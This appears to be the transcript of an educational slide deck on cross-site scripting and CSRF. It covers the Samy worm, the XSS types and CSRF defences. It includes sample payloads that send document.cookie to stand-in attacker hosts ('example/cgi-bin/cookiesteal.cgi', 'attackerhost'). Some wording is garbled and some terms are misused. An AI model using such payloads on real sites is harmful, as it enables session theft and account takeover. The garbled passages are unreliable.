xssandcsrf
TRANSCRIPT
XSS and CSRF
A web application may include malicious HTML tags or script in a dynamically generated page based on invalidated input from faithful sources. This can be a problem when a web server does not ensure that generated pages are properly encoded to prevent unwanted execution of scripts. however if input is not validated to prevent malicious HTML from being presented to the user may cause a serious problem.
Usually web browsers have the capability to interpret scripts embedded in web pages downloaded from a web server. Those scripts may be written in a variety of scripting languages and are execute by the client's browser. Most of the browsers are installed in system with the capability to execute scripts by default.
The best example of a Web Worm is the Samy Worm, the first major worm of its kind, spread by exploiting a persistent Cross-Site Scripting vulnerability in MySpace.com’s personal profile web page template. In October of 2005, Samy Kamkar the worms author, updated h is profile Web page with the first copy of the JavaScript exploit code. When an authenticated MySpace user viewed Samy's profile, the worm payload using XHR, forced the user's web browser to add Samy as a friend, include Samy as the user's hero ("but most of all, samy is my hero") , and alter the user's profile with a copy of the malware code. Starting with a single visitor the Samy Worm infection grew exponentially to over 1,000,000 infected user profiles in under 24 hours. MySpace was forced to shutdown its website in order to stop the infection, fix the vulnerability, and perform clean up.
Cross-site Scripting (XSS) is an attack technique which involves echoing attacker-supplied code into a user's browser instance. A browser instance can be a standard web browser client, or a browser object embedded in a software product such as the browser within like an RSS reader, or an email client. The code itself is usually written in HTML/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology.
Non-persistent, Persistent and DOM-based.
SSL-Encrypted Connections May Be Exposed
Attacks May Be Persistent Through Poisoned Cookies
Attacker May Access Restricted Web Sites from the Client
Domain Based Security Policies May Be Violated
Many web sites has function where registered users may post messages which are stored in a database of some kind. A registered user is commonly tracked using a session ID cookie authorizing them to post. If an attacker were to post a message containing a specially crafted JavaScript, a user reading this message could have their cookies and their account extricated.
<SCRIPT>document.location= 'http://example/cgi-bin/cookiesteal.cgi?'+document.cookie</SCRIPT>
Due to the fact that the attack Javscirpt is stored on the server side, this form of xss attack is persistent
Many web portals offer a personalized view of a web site and may greet a logged in user with "Welcome, <your username>". Sometimes the data referencing a logged in user is stored within the query string of a URL and echoed to the screen
http://example/index.php?sessionid=12312312&username=<script>document.location='http://attackerhost/cgi-bin/cookiesteal.cgi?'+document.cookie</script>
DOM based XSS does not need the web server to receive the malicious XSS payload. Instead, in a DOM-based Cross Site referencing , the attacker scolds embedding of attacker data in the client side at runtime , from within a page which is served from the web server.
Assume that the URLhttp://www.vulnerable.site/welcome.html
contains the following content:
<HTML><TITLE>Welcome!</TITLE>Hi<SCRIPT>var pos=document.URL.indexOf("name=")+5;document.write(document.URL.substring(pos,document.URL.length));</SCRIPT> Welcome to our system…</HTML>
Reference from webappsec.org
In this example the JavaScript code embeds part of document.URL (the page location) into the page, without any consideration for security. An attacker can abuse this by luring the client to click on a link such ashttp://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script> which will embed the malicious JavaScript payload into the page at runtime.
<SCRIPT> var pos=document.URL.indexOf("name=")+5; var name=document.URL.substring(pos,document.URL.length); if (name.match(/^[a-zA-Z0-9]$/)) { document.write(name); } else { window.alert("Security Error "); } </SCRIPT>
Reference from webappsec.org
CSRF is defined as an attack of a malicious Web site which ask a user’s Web browser to do a malicious action on a trusted site.
CSRF is also known as Cross-Site Reference attack, One-Click attack, Sidejacking, or Session Riding.
Opposite to Cross-Site Scripting (XSS), which exploits the fath a user has for a particular site, CSRF exploits the fath that a site has for a particular user. It is not necessarily true that defences against XSS also protect against CSRF.
Example
Example
The HTML form causes a GET request to append the form data to an URL:
http://example.com/send_email.htm?to=bob%40example.com&subject=CSRFTEST&msg=When+the+user+...
The page send_mail.htm takes the URL data and generates an e-mail to the recipient from the user.
If an attacker can force the user’s browser to send a HTTP GET request to send_mail.html, then this page will send an e-mail on the user’s behalf containing data chosen by the attacker.
Source: CROSS-SITE REQUESTFORGERIES, Kjell Jørgen Hole ,NoWires Research Group ,Department of informatics, University of Bergen
User must be “logged into” Trusted site and also visit Attacking site.
If Trusted site accepts GET requests, then the <img> tag can be used to generate a malicious request.
If Trusted site only accepts POST requests, then it is necessary to use a JavaScript to generate malicious request.
Allow a GET request to only retrieve data, not modify data on the server› This protects sites from CSRF using
<img>tags or other types of GET requests› Recommendation follows RFC 2616
Require all POST requests to include a pseudorandom value› Cryptographically strong value should be
set as a cookie in the user’s browser and be included in every form submitted to the server.
› The server should only accept POST request if the random values in the cookie and the form are equal Attacker doesn’t have access to cookie
Log out immediately after a task has been completed
Do not start other tasks while a sensitive task is performed
Never store usernames/password in browser
Thanks !